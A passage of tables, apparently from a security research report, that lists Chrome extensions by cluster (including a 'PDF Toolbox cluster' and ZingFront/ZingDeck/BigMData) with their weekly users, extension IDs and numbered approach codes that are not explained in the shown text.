Translate for Chrome -Translator, Dictionary	500,000	elpmkbbdldhoiggkjfpgibmjioncklbn	1, 2, 3
Color Picker, Eyedropper - Geco colorpick	2,000,000	eokjikchkppnkdipbiggnmlkahcdkikp	1, 2, 3, 4, 6
Dark Mode for Chrome	1,000,000	epbpdmalnhhoggbcckpffgacohbmpapb	1, 2, 4
VPN Ultimate - Best VPN by unblock	400,000	epeigjgefhajkiiallmfblgglmdbhfab	1, 2, 4
Flash Player Enabler	300,000	eplfglplnlljjpeiccbgnijecmkeimed	1, 2
ChitChat - Search with ChatGPT	2,000,000	fbbjijdngocdplimineplmdllhjkaece	1, 2, 3, 4
Simple Volume Booster	1,000,000	fbjhgeaafhlbjiejehpjdnghinlcceak	1, 2, 4, 6
Free VPN for Chrome - VPN Proxy 1click VPN	8,000,000	fcfhplploccackoneaefokcmbjfbkenj	1, 2
InSaverify - Web for Instagram™	800,000	fobaamfiblkoobhjpiigemmdegbmpohd	1, 2, 4, 6
ChatGPT Assistant - GPT Search	900,000	gadbpecoinogdkljjbjffmiijpebooce	1, 2, 4, 6
Adblock all advertisement - No Ads extension	700,000	gbdjcgalliefpinpmggefbloehmmknca	1, 2, 3, 4
Web Sound Equalizer	700,000	gceehiicnbpehbbdaloolaanlnddailm	1, 2, 4, 6
Screenshot Master: Full Page Capture	700,000	ggacghlcchiiejclfdajbpkbjfgjhfol	1, 2, 4
Dark Theme - Dark mode for Chrome	900,000	gjjbmfigjpgnehjioicaalopaikcnheo	1, 2, 4
Cute Tab - Custom Dashboard	60,000	gkdefhnhldnmfnajfkeldcaihahkhhnd	1
Quick Translate: Reading & writing translator	100,000	gpdfpljioapjogbnlpmganakfjcemifk	1, 2, 4
HD Video Downloader	800,000	hjlekdknhjogancdagnndeenmobeofgm	1, 2
Web Translate - Online translator	1,000,000	hnfabcchmopgohnhkcojhocneefbnffg	1, 2, 3, 4, 6
QR Code Generator	300,000	hoeiookpkijlnjdafhaclpdbfflelmci	1, 2, 4
2048 Game	1,000,000	iabflonngmpkalkpbjonemaamlgdghea	4
Translator	100,000	icchadngbpkcegnabnabhkjkfkfflmpj	4, 6
Multilanguage Translator	1,000,000	ielooaepfhfcnmihgnabkldnpddnnldl	1, 2, 3, 4, 6
FocusGuard - Block Site & Focus Mode	400,000	ifdepgnnjpnbkcgempionjablajancjc	1, 2, 3, 7
Scrnli - Screen Recorder & Screen Capture App	1,000,000	ijejnggjjphlenbhmjhhgcdpehhacaal	1, 2, 4
Web Paint Tool - draw online	600,000	iklgljbighkgbjoecoddejooldolenbj	1, 2, 4, 5
Screen Recorder and Screenshot Tool	1,000,000	imopknpgdihifjkjpmjaagcagkefddnb	1, 2, 4
Free VPN Chrome extension - Best VPN by uVPN	1,000,000	jaoafpkngncfpfggjefnekilbkcpjdgp	1, 2, 7
Video Downloader Social	1,000,000	jbmbplbpgcpooepakloahbjjcpfoegji	1, 2, 4
Color Picker Online - Eyedropper Tool	189	jbnefeeccnjmnceegehljhjonmlbkaji	1, 2
Volume Booster, equalizer → Audio control	1,000,000	jchmabokofdoabocpiicjljelmackhho	1, 4
PDF Viewer	1,000,000	jdlkkmamiaikhfampledjnhhkbeifokk	1, 2, 4
Adblock Web - Adblocker for Chrome	300,000	jhkhlgaomejplkanglolfpcmfknnomle	1, 2, 3
Adblock Unlimited - Adblocker	600,000	jiaopkfkampgnnkckajcbdgannoipcne	1, 2, 3, 4
Hide YouTube distraction - shorts block	1,000	jipbilmidhcobblmekbceanghkdinccc	1, 2, 3
ChatGPT for Chrome - GPT Search	700,000	jlbpahgopcmomkgegpbmopfodolajhbl	1, 2, 3
Adblock for YouTube™	2,000,000	jpefmbpcbebpjpmelobfakahfdcgcmkl	1, 2, 3, 4
User Agent Switcher	100,000	kchfmpdcejfkipopnolndinkeoipnoia	1
Speed Test for Chrome - WiFi speedtest	400,000	khhnfdoljialnlomkdkphhdhngfppabl	1, 2, 4, 6
Video Downloader professional	400,000	knkpjhkhlfebmefnommmehegjgglnkdm	1, 2, 4
Quick Translate	700,000	kpcdbiholadphpbimkgckhggglklemib	1, 2, 4, 6
Tab Suspender	100,000	laameccjpleogmfhilmffpdbiibgbekf	1
Adblock for Youtube - ad blocker tool	800,000	lagdcjmbchphhndlbpfajelapcodekll	1, 2, 3, 4
PDF Viewer - open in PDF Reader	300,000	ldaohgblglnkmddflcccnfakholmaacl	1, 2, 4
Moment - #1 Personal Dashboard for Chrome	200,000	lgecddhfcfhlmllljooldkbbijdcnlpe	1
Screen Video Recorder & Screenshot	400,000	lhannfkhjdhmibllojbbdjdbpegidojj	1, 2
Dark Theme - Dark Reader for Web	1,000,000	ljjmnbjaapnggdiibfleeiaookhcodnl	1, 2, 4, 6
Auto Refresh Page - reload page	500,000	lkhdihmnnmnmpibnadlgjfmalbaoenem	1, 2, 4, 6
Flash Player for Web	800,000	lkhhagecaghfakddbncibijbjmgfhfdm	1, 2, 4, 6
INSSAVE - App for Instagram	100,000	lknpbgnookklokdjomiildnlalffjmma	1, 2, 4, 6
Simple Translator, Dictionary, TTS	1,000,000	lojpdfjjionbhgplcangflkalmiadhfi	1, 2, 3, 4, 6
Web paint tool - Drawww	60,000	mclgkicemmkpcooobfgcgocmcejnmgij	6
Adblock for Twitch	200,000	mdomkpjejpboocpojfikalapgholajdc	1, 2, 3, 4
Infinite Dashboard - New Tab like no other	200,000	meffljleomgifbbcffejnmhjagncfpbd	1, 2, 4
ChatGPT Assistant for Chrome - SidebarGPT	1,000,000	mejjgaogggabifjfjdbnobinfibaamla	1, 2
Volume Max - Ultimate Sound Booster	1,000,000	mgbhdehiapbjamfgekfpebmhmnmcmemg	1, 2, 4
Good Video Downloader	400,000	mhpcabliilgadobjpkameggapnpeppdg	4
Video Downloader Unlimited	1,000,000	mkjjckchdfhjbpckippbnipkdnlidbeb	1, 2, 4
ChatGPT for Google: Search GPT	500,000	mlkjjjmhjijlmafgjlpkiobpdocdbncj	1, 2, 4, 6
Translate - Translator, Dictionary, TTS	1,000,000	mnlohknjofogcljbcknkakphddjpijak	1, 2, 3, 4, 5
Web Paint - Page Marker & Editor	400,000	mnopmeepcnldaopgndiielmfoblaennk	1, 2, 4, 6
Auto Refresh & Page Monitor	1,000,000	nagebjgefhenmjbjhjmdifchbnbmjgpa	1, 2, 4
VPN Surf - Fast VPN by unblock	800,000	nhnfcgpcbfclhfafjlooihdfghaeinfc	1, 2, 4
SearchGPT - ChatGPT for Chrome	2,000,000	ninecedhhpccjifamhafbdelibdjibgd	1, 2
Video Speed Controller for HTML videos	400,000	nkkhljadiejecbgelalchmjncoilpnlk	1, 2, 4, 6
Flash Player that Works!	300,000	nlfaobjnjbmbdnoeiijojjmeihbheegn	1, 2, 4, 6
Sound Booster - increase volume up	1,000,000	nmigaijibiabddkkmjhlehchpmgbokfj	1, 2, 4, 6
Voice Reader: Read Aloud Text to Speech (TTS)	500,000	npdkkcjlmhcnnaoobfdjndibfkkhhdfn	1, 2, 4, 5
uTab - Unlimited Custom Dashboard	200,000	npmjjkphdlmbeidbdbfefgedondknlaf	1, 4, 6
Flash Player for Chrome	600,000	oakbcaafbicdddpdlhbchhpblmhefngh	1, 2
Paint Tool by Painty	400,000	obdhcplpbliifflekgclobogbdliddjd	1, 2
Night Shift	200,000	ocginjipilabheemhfbedijlhajbcabh	1, 2
Editor for Docs, Sheets & Slides	200,000	oepjogknopbbibcjcojmedaepolkghpb	1, 2, 6
Accept all cookies	300,000	ofpnikijgfhlmmjlpkfaifhhdonchhoi	1, 2, 3, 4
The Cleaner - delete Cookies and Cache	100,000	ogfjgagnmkiigilnoiabkbbajinanlbn	1, 2
Screenshot & Screen Recorder	1,000,000	okkffdhbfplmbjblhgapnchjinanmnij	1, 2, 4
Cute ColorBook - Coloring Book Online	9,000	onhcjmpaffbelbeeaajhplmhfmablenk	1
What Font - font finder	400,000	opogloaldjiplhogobhmghlgnlciebin	1, 2, 4
Translator - Select to Translate	1,000,000	pfoflbejajgbpkmllhogfpnekjiempip	1, 2, 3, 4, 6
Custom Cursors for Chrome	800,000	phfkifnjcmdcmljnnablahicoabkokbg	1, 2, 4
Color Picker - Eyedropper Tool	100,000	phillbeieoddghchonmfebjhclflpoaj	1, 2, 4, 6
Text mode for websites - ReadBee	500,000	phjbepamfhjgjdgmbhmfflhnlohldchb	1, 2, 4, 6
Dark Mode - Dark Reader for Сhrome	8,000,000	pjbgfifennfhnbkhoidkdchbflppjncb	1, 2, 4, 6
Sound Booster - Boost My Bass	900,000	plmlopfeeobajiecodiggabcihohcnge	1, 2, 4
Sound Booster	100,000	pmilcmjbofinpnbnpanpdadijibcgifc	1, 2, 4
Screen Capture - Screenshot Tool	700,000	pmnphobdokkajkpbkajlaiooipfcpgio	1, 4
Floating Video with Playback Controls	800,000	pnanegnllonoiklmmlegcaajoicfifcm	1, 2
Cleaner - history & cache clean	100,000	pooaemmkohlphkekccfajnbcokjlbehk	1, 2, 4, 6

PDF Toolbox cluster

Name	Weekly active users	Extension ID	Approaches
Stick Ninja Game	3,000,000	aamepfadihoeifgmkoipamkenlfpjgcm	4
Emoboard Emoji Keyboard	3,000,000	aapdabiebopmbpidefegdaefepkinidd	1, 2, 4
Flappy Bird Original	4,000,000	aejdicmbgglbjfepfbiofnmibcgkkjej	1, 2, 4
Superb Copy	4,000,000	agdjnnfibbfdffpdljlilaldngfheapb	1, 2, 4
Super Volume Booster	1,000,000	ahddimnokcichfhgpibgbgofheobffkb	4
Enlargify	2,000,000	aielbbnajdbopdbnecilekkchkgocifh	1, 2, 4
ImgGet	3,000,000	anblaegeegjbfiehjadgmonejlbcloob	1, 2, 4
Blaze VPN for Chrome	8,000,000	anenfchlanlnhmjibebhkgbnelojooic	1, 2, 4
Web Paint Smart	1,000,000	baaibngpibdagiocgahmnpkegfnldklp	1, 2, 4
Click Color Picker	4,000,000	bfenhnialnnileognddgkbdgpknpfich	1, 2, 4
Dino 3D	3,000,000	biggdlcjhcjibifefpchffmfpmclmfmk	1, 2, 4
Soundup Sound Booster	6,000,000	bjpebnkmbcningccjakffilbmaojljlb	1, 2, 7
Yshot	3,000,000	bkgepfjmcfhiikfmamakfhdhogohgpac	1, 2, 4, 7
VidRate	4,000,000	bmdjpblldhdnmknfkjkdibljeblmcfoi	1, 2, 4
Ultra Volume Booster	3,000,000	bocmpjikpfmhfcjjpkhfdkclpfmceccg	1, 2, 4
Supreme Copy	6,000,000	cbfimnpbnbgjbpcnaablibnekhfghbac	1, 2, 4
Lumina Night Mode	400,000	ccemhgcpobolddhpebenclgpohlkegdg	1, 2, 4
Amazing Screen Recorder	6,000,000	cdepgbjlkoocpnifahdfjdhlfiamnapm	1, 2, 4
BPuzzle	10,000	cgjlgmcfhoicddhjikmjglhgibchboea	1, 2, 4
Super Video Speed Controller	6,000,000	chnccghejnflbccphgkncbmllhfljdfa	1, 2, 4
Lensify	1,000,000	ckdcieaenmejickienoanmjbhcfphmio	1, 2, 4
FontSpotter	2,000,000	cncllbaocdclnknlaciemnogblnljeej	1, 2, 4, 6
ImageNest	2,000,000	dajkomgkhpnmdilokgoekdfnfknjgckh	1, 2, 4
Swift Auto Refresh	4,000,000	dbplihfpjfngpdogehdcocadhockmamf	1, 2, 4
StopSurf	2,000,000	dcjbilopnjnajannajlojjcljaclgdpd	1, 2, 4
PDF SmartBox	10,000,000	dgbbafiiohandadmjfcffjpnlmdlaalh	1, 2, 4
Dungeon Dodge	3,000,000	dkdeafhmbobcccfnkofedleddfbinjgp	1, 2, 4
Scope Master	2,000,000	dlbfbjkldnioadbilgbfilbhafplbnan	1, 2, 4
RazorWave	3,000,000	ecinoiamecfiknjeahgdknofjmpoemmi	1, 2, 4
TurboPlay	4,000,000	ehhbjkehfcjlehkfpffogeijpinlgjik	1, 2, 4
Emoji keyboard live	3,000,000	elhapkijbdpkjpjbomipbfofipeofedj	1, 2, 4
Flashback Flash Player	3,000,000	emghchaodgedjemnkicegacekihblemd	1, 2, 4
RampShield Adblock	2,000,000	engbpelfmhnfbmpobdooifgnfcmlfblf	1, 2, 3, 4
BackNav	2,000,000	epalebfbjkaahdmoaifelbgfpideadle	1, 2, 4
Spark blocker	5,000,000	gfplodojgophcijhbkcfmaiafklijpnf	1, 2, 7
EmuFlash	1,000,000	ghomhhneebnpahhjegclgogmbmhaddpi	1, 2, 4
Minesweeper Original	4,000,000	gjdmanggfaalgnpinolamlefhcjimmam	1, 2, 4
PixGrid Ruler	1,000,000	glkplndamjplebapgopdlbicglmfimic	1, 2, 4
Flexi PDF Reader	1,000,000	gmpignfmmkcpnildloceikjmlnjdjgdg	1, 2, 4
Dino Rush	2,000,000	hbkkncjljigpfhghnjhjaaimceakjdoo	1, 2, 4
Amazing color picker	4,000,000	hclbckmnpbnkcpemopdngipibdagmjei	1, 2, 4
ChatGPT Assistant Plus	6,000,000	hhclmnigoigikdgiflfihpkglefbaaoa	1, 2, 4
Bspace	3,000,000	hhgokdlbkelmpeimeijobggjmipechcp	1, 2, 4
Bomberman Classic Game	4,000,000	hlcfpgkgbdgjhnfdgaechkfiddkgnlkg	4
Inline Lingo	4,000,000	hmioicehiobjekahjabipaeidfdcnhii	1, 2, 4
Superpowers for Chatgpt	4,000,000	ibeabbjcphoflmlccjgpebbamkbglpip	1, 2, 4
Spark Auto Refresh	4,000,000	ifodiakohghkaegdhahdbcdfejcghlob	1, 2, 4
Video Speed Pro	6,000,000	iinblfpbdoplpbdkepibimlgabgkaika	1, 2, 4
Elysian EPUB Reader	10,000	ijlajdhnhokgdpdlbiomkekneoejnhad	1, 4
Smart Color Picker	1,000,000	ilifjbbjhbgkhgabebllmlcldfdgopfl	1, 2, 4
Ad Skip Master for Youtube	6,000,000	imlalpfjijneacdcjgjmphcpmlhkhkho	1, 2, 4, 7
Shopify spy scraper & parser	300,000	injdgfhiepghpnihhgmkejcjnoohaibm	1, 2, 4
Gloom Dark Mode	4,000,000	ioleaeachefbknoefhkbhijdhakaepcb	1, 2, 4
SnapTrans	3,000,000	jfcnoffhkhikehdbdioahmlhdnknikhl	1, 2, 4
DownloadAs PNG JPG	2,000,000	jjekghbhljeigipmihbdeeonafimpole	1, 2, 4
Umbra Dark Mode	3,000,000	jjlelpahdhfgabeecnfppnmlllcmejkg	1, 2, 4
Power Tools for ChatGPT	11,000,000	jkfkhkobbahllilejfidknldjhgelcog	1, 2, 4, 6
Image Formatter	7,000	kapklhhpcnelfhlendhjfhddcddfabap	1, 2, 4
Safum free VPN	6,000,000	kbdlpfmnciffgllhfijijnakeipkngbe	1, 2, 3, 4
TabColor color picker	500,000	kcebljecdacbgcoiajdooincchocggha	1, 2, 4
Tonalis Audio Recorder	3,000,000	kdchfpnbblcmofemnhnckhjfjndcibej	1, 2, 4
2048 Classic Game	6,000,000	kgfeiebnfmmfpomhochmlfmdmjmfedfj	4
Pixdownify	7,000	kjeimdncknielhlilmlgbclmkbogfkpo	1, 2, 4, 7
Avatar Maker Studio	3,000,000	klfkmphcempkflbmmmdphcphpppjjoic	1, 2, 4
TypeScan What Font Finder	2,000,000	klopcieildbkpjfgfohccoknkbpchpcd	1, 2, 4
Rad Video Speed Controller	1,000,000	knekhgnpelgcdmojllcbkkfndcmnjfpp	1, 2, 4
Sublime Copy	2,000,000	kngefefeojnjcfnaegliccjlnclnlgck	1, 2, 4
2048 Game	6,000,000	kopgfdlilooenmccnkaiagfndkhhncdn	4
Easy PDF Viewer	600,000	kppkpfjckhillkjfhpekeoeobieedbpd	1, 2, 4
Fullshot	900,000	lcpbgpffiecejffeokiimlehgjobmlfa	1, 2, 4
Page Auto Refresh	8,000,000	ldgjechphfcppimcgcjcblmnhkjniakn	1, 2, 4
Viddex Video Downloader	2,000,000	ldmhnpbmplbafajaabcmkindgnclbaci	1, 2, 4
Smart Audio Capture	3,000,000	lfohcapleakcfmajfdeomgobhecliepj	1, 2, 4
Readline	3,000,000	lgfibgggkoedaaihmmcifkmdfdjenlpp	1, 2, 4
Amazing Auto Refresh	6,000,000	lgjmjfjpldlhbaeinfjbgokoakpjglbn	1, 2, 4
Picture in Picture player	5,000,000	lppddlnjpnlpglochkpkepmgpcjalobc	1, 2, 4
Readwell	1,000,000	mafdefkoclffkegnnepcmbcekepgmgoe	1, 2, 4
Screenshot X	1,000,000	mfdjihclbpcjabciijmcmagmndpgdkbp	1, 2, 3, 4
TubeBlock - Adblock for Youtube	7,000,000	mkdijghjjdkfpohnmmoicikpkjodcmio	1, 2, 4
Shade Dark Mode	16,000,000	mkeimkkbcndbdlfkbfhhlfgkilcfniic	1, 2, 4
PDF Wizardry	3,000,000	moapkmgopcfpmljondihnidamjljhinm	1, 2, 4
ShieldSpan Adblock	2,000,000	monfcompdlmiffoknmpniphegmegadoa	1, 2, 3, 4
Snap Color Picker	6,000,000	nbpljhppefmpifoffhhmllmacfdckokh	1, 2, 4
Spelunky Classic	3,000,000	nggoojkpifcfgdkhfipiikldhdhljhng	4
Adkrig	6,000,000	ngpkfeladpdiabdhebjlgaccfonefmom	1, 2, 3, 4
Snap Screen Recorder	4,000	njmplmjcngplhnahhajkebmnaaogpobl	1, 2, 4
SharpGrip	3,000,000	nlpopfilalpnmgodjpobmoednbecjcnh	1, 2, 4
Block Site Ex	20,000	nnkkgbabjapocnoedeaifoimlbejjckj	1, 2, 4
PageTurn Book Reader	1,000,000	oapldohmfnnhaledannjhkbllejjaljj	1, 2, 4
FocusShield	4,000,000	ohdkdaaigbjnbpdljjfkpjpdbnlcbcoj	1, 2, 4
Loudify Volume Booster	7,000,000	ohlijedbbfaeobchboobaffbmpjdiinh	1, 2, 4
ChatGPT Toolkit	6,000,000	okanoajihjohgmbifnkiebaobfkgenfa	4
Pac Man Tribute	3,000,000	okkijechcafgdmbacodaghgeanecimgd	1, 2, 4
Wordle Timeless	3,000,000	pccilkiggeianmelipmnakallflhakhh	4
Web Paint Online	3,000,000	pcgjkiiepdbfbhcddncidopmihdekemj	1, 2, 4
Live Screen Recorder	4,000,000	pcjdfmihalemjjomplpfbdnicngfnopn	1, 2, 4
Screenshot Master	6,000,000	pdlmjggogjgoaifncfpkhldgfilgghgc	1, 2, 4
Emojet - Emoji Keyboard	4,000,000	pgnibfiljggdcllbncbnnhhkajmfibgp	1, 2, 4
Metric Spy	2,000,000	plifocdammkpinhfihphfbbnlggbcjpo	1, 2, 4
Tetris Classic	6,000,000	pmlcjncilaaaemknfefmegedhcgelmee	1, 2, 4

ZingFront / ZingDeck / BigMData

Name	Weekly active users	Extension ID	Approaches
Download Telegram - TG Video Photo Download	1,000	aaanclnbkhoomaefcdpcoeikacfilokk	1
Open AI ChatGPT for Email - GMPlus	40,000	abekedpmkgndeflcidpkkddapnjnocjp	1, 5
AI Cover Letter Generator - Supawork AI	2,000	aceohhcgmceafglcfiobamlbeklffhna	1, 2
AI Headshot Generator - Supawork AI	5,000	acgbggfkaphffpbcljiibhfipmmpboep	1, 6
IG Follower Export Tool - IG Email Extractor	10,000	acibfjbekmadebcjeimaedenabojnnil	1
WA Sender - Bulk Message & WA Message & Bulk Sender Tool	3,000	aemhfpfbocllfcbpiofnmacfmjdmoecf	1, 5
Save Ins Comment - Export Ins Comments	1,000	afkkaodiebbdbneecpjnfhiinjegddco	1
Coursera Summary with ChatGPT and Take Notes	3,000	afmnhehfpjmkajjglfakmgmjcclhjane	1, 2, 5
Extension Manager for Chrome™	966	ahbicehkkbofghlofjinmiflogakiifo	1, 5
Email Finder & Email Hunter - GMPlus	10,000	aihgkhchhecmambgbonicffgneidgclh	1, 5
Sora Video To Video - Arting AI	106	aioieeioikmcgggaldfknjfoeihahfkb	1, 2
ChatGPT for 知乎	415	ajnofpkfojgkfmcniokfhodfoedkameh	1, 2, 5
Walmart Finder&ChatGPT Review Analysis	457	akgdobgbammbhgjkijpcjhgjaemghhin	5
WA Bulk Message Sender - Premium Sender	1,000	amokpeafejimkmcjjhbehganpgidcbif	1
One-Click Search Aliexpress Similar Products	97	aobhkgpkibbkonodnakimogghmiecend	5
Summary with Bing Chat for YouTube	9,000	aohgbidimgkcolmkopencknhbnchfnkm	1, 5
Rakuten Customer Service Helper	42	apfhjcjhmegloofljjlcloiolpfendka	5
ChatBot AI - ChatGPT & Claude & Bard & Bing	883	apknopgplijcepgmlncjhdcdjifhdmbo	4, 5
NoteGPT: YouTube Summary, Webpages & PDF Summary	200,000	baecjmoceaobpnffgnlkloccenkoibbb	5
Dimmy - Discord Chat Exporter	252	bbgnnieijkdeodgdkhnkildfjbnoedno	1
Gmail Notes - Add notes to email in Gmail	1,000	bbpgdlmdmlalbacneejkinpnpngnnghj	5
Sora Image To Video - Arting AI	372	bdhknkbhmjkkincjjmhibjeeljdmelje	1, 2
Tiktok Customer Service Helper	66	bdkogigofdpjbplcphfikldoejopkemf	5
TikClient - Web Client for TikTok™	10,000	beopoaohjhehmihfkpgcdbnppdeaiflc	1, 2, 6
One-Click Search Amazon Similar Products	146	bfeaokkleomnhnbhdhkieoebioepbkkb	5
Custom New Tab Page	864	bfhappcgfmpmlbmgbgmjjlihddgkeomd	5
Shopee Downloader - Download Videos & Images	3,000	bfmonflmfpmhpdinmanpaffcjgpiipom	1, 2, 5
Product Photography - Ai Background Generator For Prouduct Photos	46	bgehgjenjneoghlokaelolibebejljlh	1, 2
TikGPT: Tiktok Listing Optimizer	665	bhbjjhpgpiljcinblahaeaijeofhknka	5
Find WhatsApp Link - Group Invite Link	2,000	biihmgacgicpcofihcijpffndeehmdga	1, 5
VideoTG - Download & Save telegram Videos Fast & one time!	4,000	bjnaoodhkicimgdhnlfjfobfakcnhkje	1
Etsy™ AI Review Analysis & Download	8,000	bjoclknnffeefmonnodiakjbbdjdaigf	5
iGoo Helper - Security Privacy Unblock VPN	20,000	bkcbdcoknmfkccdhdendnbkjmhdmmnfc	5
TikTok Analytics & Sort Video by Engagement	1,000	bnjgeaohcnpcianfippccjdpiejgdfgj	5
Rakuten AI Listing editor	68	cachgfjiefofkmijjdcdnenjlljpiklj	5
Invite All Friends for Facebook™ in one click	10,000	cajeghdabniclkckmaiagnppocmcilcd	5
EbayGPT: ChatGPT Ebay listing optimization	2,000	cbmmciaanapafchagldbcoiegcajgepo	5
Comment Exporter	10,000	cckachhlpdnncmhlhaepfcmmhadmpbgp	1, 2
Twitch Danmaku(NicoNico style)	646	cecgmkjinnohgnokkfmldmklhocndnia	5
Easy Exporter - Etsy order exporter	2,000	cgganjhojpaejcnglgnpganbafoloofa	5
Privacy Extension for WhatsApp Privacy	100,000	cgipcgghboamefelooajpiabilddemlh	1, 2
Group Extractor for social media platform	1,000	chldekfeeeaolinlilgkeaebbcnkigeo	6
Sales Sort for eBay™ Advanced Search	4,000	cigjjnkjdjhhncooaedjbkiojgelfocc	1, 2, 3, 5
Amazon Customer Service Helper	70	cmfafbmoadifedfpkmmgmngimbbgddlo	5
Currency Conversion Calculator	2,000	cmkmopgjpnjhmlgcpmagbcfkmakeihof	5
LinkedRadar-Headline Generator for LinkedIn™	1,000	cnhoekaognmidchcealfgjicikanodii	1, 5
AllegroGPT:ChatGPT for Allegro Open AI Writer	163	coljimimahbepcbljijpimokkldfinho	5
ai voice cover	518	cpjhnkdcdpifokijolehlmomppnfflop	1
WA Contacts Extractor	30,000	dcidojkknfgophlmohhpdlmoiegfbkdd	1
Twitch chat overlay on fullscreen	832	dckidogeibljnigjfahibbdnagakkiol	5
Privacy Extension for WhatsApp Privacy	660	dcohaklbddmflhmcnccgcajgkfhchfja	1
LINE App Translator Bot - LINE Chat	1,000	dimpmploihiahcbbdoanlmihnmcfjbgf	5
Etsy Image Search	1,000	dkgoifbphbpimdbjhkbmbbhhfafjdilp	5
AliExpress & eBay - Best price	575	dkoidcgcbmejimkbmgjimpdgkgilnncj	5
AliGPT: Aliexpress Listing Optimize	1,000	dlbmngbbcpeofkcadbglihfdndjbefce	5
Best ASO Tools for Google Play Store	10,000	doffdbedgdhbmffejikhlojkopaleian	5
NoteGPT: AI Flashcard for Quizlet and Cram	10,000	eacfcoicoelokngmcgkkdakohpaklgmk	1, 2, 5
ChatSider AI Copilot : ChatGPT & Claude	2,000	ecnknpjoomhilbhjipoipllgdgaldhll	6
Mercadolivre Customer Service Helper with GPT	19	edhpagpcfhelpopmcdjeinmckcjnccfm	5
WA Contacts Extractor Free Extension	30,000	eelhmnjkbjmlcglpiaegojkoolckdgaj	1, 6
Unlimited Summary Generator for YouTube™	70,000	eelolnalmpdjemddgmpnmobdhnglfpje	1, 2, 5
AdLibNote: Ad Library Downloader Facebook™	10,000	efaadoiclcgkpnjfgbaiplhebcmbipnn	1, 2
Ebay Kundendiensthelfer mit GPT	123	efknldogiepheifabdnikikchojdgjhb	5
Extension Manager	8,000	efolofldmcajcobffimbnokcnfcicooc	5
Send from Gmail - Share a Link Via Email	5,000	egefdkphhgpfilgcaejconjganlfehif	1, 3, 5
Followers Exporter for Ins	100,000	ehbjlcniiagahknoclpikfjgnnggkoac	1, 2
Website Keyword Extractor & Planner Tool	10,000	eiddpicgliccgcgclfoddoiebfaippkj	6
AMZ Currency Converter —— Amazon TS	457	ekekfjikpoacmfjnnebfjjndfhlldegj	1
eCommerce Profit Calculator	3,000	elclhhlknlgnkbihjkneaolgapklcakh	1, 2, 5
ChatGPT for Google (No Ads)	30,000	elnanopkpogbhmgppdoapkjlfigecncf	1, 3, 5
AI Resume Builder - Supawork AI	9,000	epljmdbeelhhkllonphikmilmofkfffb	1, 4
aliexpress image video download	1,000	epmknedkclajihckoaaoeimohljkjmip	5
InstaNote: Download and Save Video for IG	10,000	fbccnclbchlcnpdlhdjfhbhdehoaafeg	1, 2, 5
Ebay Niche Finder&ChatGPT Review Analysis	419	fencfpodkdpafgfohkcnnjjepolndkoc	5
One-Click Search Etsy Similar Products	83	fffpcfejndndidjbakpmafngnmkphlai	5
WA Link Generator	315	fgmmhlgbkieebimhondmhbnihhaoccmj	1
AI Script Writer & Video to Text for TikTok	9,000	fhbibaofbmghcofnficlmfaoobacbnlm	1, 2, 5
WA Bulk Message Sender	100,000	fhkimgpddcmnleeaicdjggpedegolbkb	1, 5
Free VPN For Chrome - HavenSurf VPN	3,000	fnofnlokejkngcopdkaopafdbdcibmcm	5
McdGPT: Mercadolivre AI Listing edit	340	fpgcecmnofcebcocojgbnmlakeappphj	5
CRM Integration with LinkedIn for Salesforce	411	fpieanbcbflkkhljicblgbmndgblndgh	5
Online Photoshop - Photo Editor Tool	577	fplnkidbpmcpnaepdnjconfhkaehapji	1, 2, 5
Telegram Private Video Downloader	20,000	gdfhmpjihkjpkcgfoclondnjlignnaap	1, 2
AI Signature Generator - SignMaker	74	gdkcaphpnmahjnbbknailofhkdjgonjp	1, 2, 5
Privacy Extension for WhatsApp Web	2,000	gedkjjhehhbgpngdjmjoklficpaojmof	1
One-Click Search Shein Similar Products	232	gfapgmkimcppbjmkkomcjnamlcnengnp	5
Summary with ChatGPT for Google and YouTube	10,000	gfecljmddkaiphnmhgaeekgkadnooafb	1, 2, 5
ESale - Etsy™ SEO tool for seller	10,000	ghnjojhkdncaipbfchceeefgkkdpaelk	5
Twitter Video Downloader	10,000	giallgikapfggjdeagapilcaiigofkoe	1, 2, 5
Video Downloader and Summary for TikTok	3,000	gibojgncpopnmbjnfdgnfihhkpooodie	1, 2, 5
Audio Recorder Online - Capture Screen Audio	3,000	gilmhnfniipoefkgfaoociaehdcmdcgk	1, 2, 5
WalmartGPT:ChatGPT for Walmart Open AI Writer	682	gjacllhmphdmlfomfihembbodmebibgh	5
ChatShopee - AI Customer Service Helper	88	glfonehedbdfimabajjneobedehbpkcf	5
Magic VPN - Best Free VPN for Chrome	5,000	glnhjppnpgfaapdemcpihhkobagpnfee	5
Translate and Speak Subtitles for YouTube	40,000	gmimaknkjommijabfploclcikgjacpdn	1, 2, 3, 5
Messenger Notifier	3,000	gnanlfpgbbiojiiljkemdcampafecbmk	5
One-Click Search Walmart Similar Products	103	golgjgpiogjbjbaopjeijppihoacbloi	5
TikTok Hashtags Tool - Hashtags Analytics	779	haefbieiimgmamklihjpjhnhfbonfjgg	1, 5
Gmail Checker - Multi Account Gmail Notifier	9,000	hangbmidafgeohijjheoocjjpdbpaaeh	1, 5
Bulk Message Sender for wa	281	hcbplmjpaneiaicainjmanjhmdcfpeji	2
APP For IG DM	10,000	hccnecipbimihniebnopnmigjanmnjgh	1, 2, 5
Likes Exporter	6,000	hcdnbmbdfhhfjejboimdelpfjielfnde	1, 2
ChatsNow: ChatGPT AI Sidebar ( GPT, Claude , Gemini)	20,000	hcmiiaachajoiijecmakkhlcpagafklj	1, 2, 5
iTextMaster - ChatPDF & PPT AI with ChatGPT	6,000	hdofgklnkhhehjblblcdfohmplcebaeg	1, 2, 3, 5
Shopify™ Raise - Shopify™ store analysis tool	10,000	hdpfnbgfohonaplgnaahcefglgclmdpo	1, 2, 3
ShopeeGPT - Optimize Titles & Descriptions	713	hfgfkkkaldbekkkaonikedmeepafpoak	5
Telegram Desktop - Telegram Online Messenger	4,000	hifamcclbbjnekfmfgcalafnnlgcaolc	5
CommentGPT - Shopee review analysis assistant	321	hjajjdbieadchdmmifdjgedfhgdnonlh	5
Vimeo™ Downloader and chatGPT Video Summary	40,000	hobdeidpfblapjhejaaigpicnlijdopo	1, 2, 5
IG Comment Export Tool	4,000	hpfnaodfcakdfbnompnfglhjmkoinbfm	1, 2, 5
SEO Search Keyword Tool	40,000	hpmllfbpmmhjncbfofmkkgomjpfaocca	5
IG Video Downloader - SocialPlus	5,000	iaonookehgfokaglaodkeooddjeaodnc	1, 2, 5
AdLibNote: Video Downloader for Facebook™	10,000	icphfngeemckldjnnoemfadfploieehk	1, 2, 5
IGExporter - IG Follower Export Tool	2,000	iffbofdalhbflagjclkhbkbknhiflcam	1, 2, 5
